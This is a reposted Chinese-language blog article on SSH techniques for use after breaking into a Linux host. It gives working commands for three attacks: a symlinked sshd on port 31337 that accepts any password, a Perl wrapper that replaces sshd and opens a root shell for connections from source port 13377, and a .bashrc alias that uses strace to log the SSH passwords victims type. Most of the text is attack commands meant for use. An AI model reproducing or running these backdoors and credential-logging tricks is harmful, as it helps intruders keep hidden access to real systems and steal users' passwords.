渗透过程中的SSH
2020-01-11 11:02:09 Author: mp.weixin.qq.com(查看原文) 阅读量:55 收藏


1.入侵得到SHELL后,对方防火墙没限制,想快速开放一个可以访问的SSH端口

肉鸡上执行

ln -sf /usr/sbin/sshd /tmp/su;/tmp/su -oPort=31337; 

就会派生一个31337端口,然后连接31337,用root/bin/ftp/mail当用户名,密码随意,就可登陆。

2.做一个SSH wrapper后门,效果比第一个好,没有开放额外的端口,只要对方开了SSH服务,就能远程连接

在肉鸡上执行:

[root@localhost ~]# cd /usr/sbin

[root@localhost sbin]# mv sshd ../bin

[root@localhost sbin]# echo '#!/usr/bin/perl' >sshd

[root@localhost sbin]# echo 'exec "/bin/sh" if (getpeername(STDIN) =~ /^..4A/);' >>sshd

[root@localhost sbin]# echo 'exec {"/usr/bin/sshd"} "/usr/sbin/sshd",@ARGV,' >>sshd

[root@localhost sbin]# chmod u+x sshd

[root@localhost sbin]# /etc/init.d/sshd restart

在本机执行:

socat STDIO TCP4:10.18.180.20:22,sourceport=13377

如果你想修改源端口,可以用python的struct标准库实现

>>> import struct

>>> buffer = struct.pack('>I6',19526)

>>> print repr(buffer)

'\x00\x00LF'

>>> buffer = struct.pack('>I6',13377)

>>> print buffer

4A

3. 记录SSH客户端连接密码

搞定主机后,往往想记录肉鸡SSH连接到其他主机的密码,进一步扩大战果,使用strace命令就行了。

在肉鸡上修改要记录密码用户目录的.bashrc,添加一行:

alias ssh='strace -o /tmp/.sshpwd-`date '+%d%h%m%s'`.log -e read.write.connect -s 2048 ssh'

之后查看tmp目录的记录:

grep "read(5" /tmp/.sshpwdxxxxxxxx.log

文章出处:Evi1cg's blog   

原文链接: 

https://evi1cg.me/archives/Pentest_SSH.html

推荐文章++++

*ssh弱口令?弱秘钥?python?我仿佛抓到一大波肉鸡

*思科交换机配置SSH+Telnet+修改名称

*linux渗透:重新编译ssh记录密码信息


文章来源: http://mp.weixin.qq.com/s?__biz=MzAxMjE3ODU3MQ==&mid=2650459335&idx=3&sn=dc504e90726710b921f49dee6559df22&chksm=83bba923b4cc2035ab9260d96ca2c8463326ded61ee4d1b2f1115a8e5c359a77b548bac078a9#rd
如有侵权请联系:admin#unsafe.sh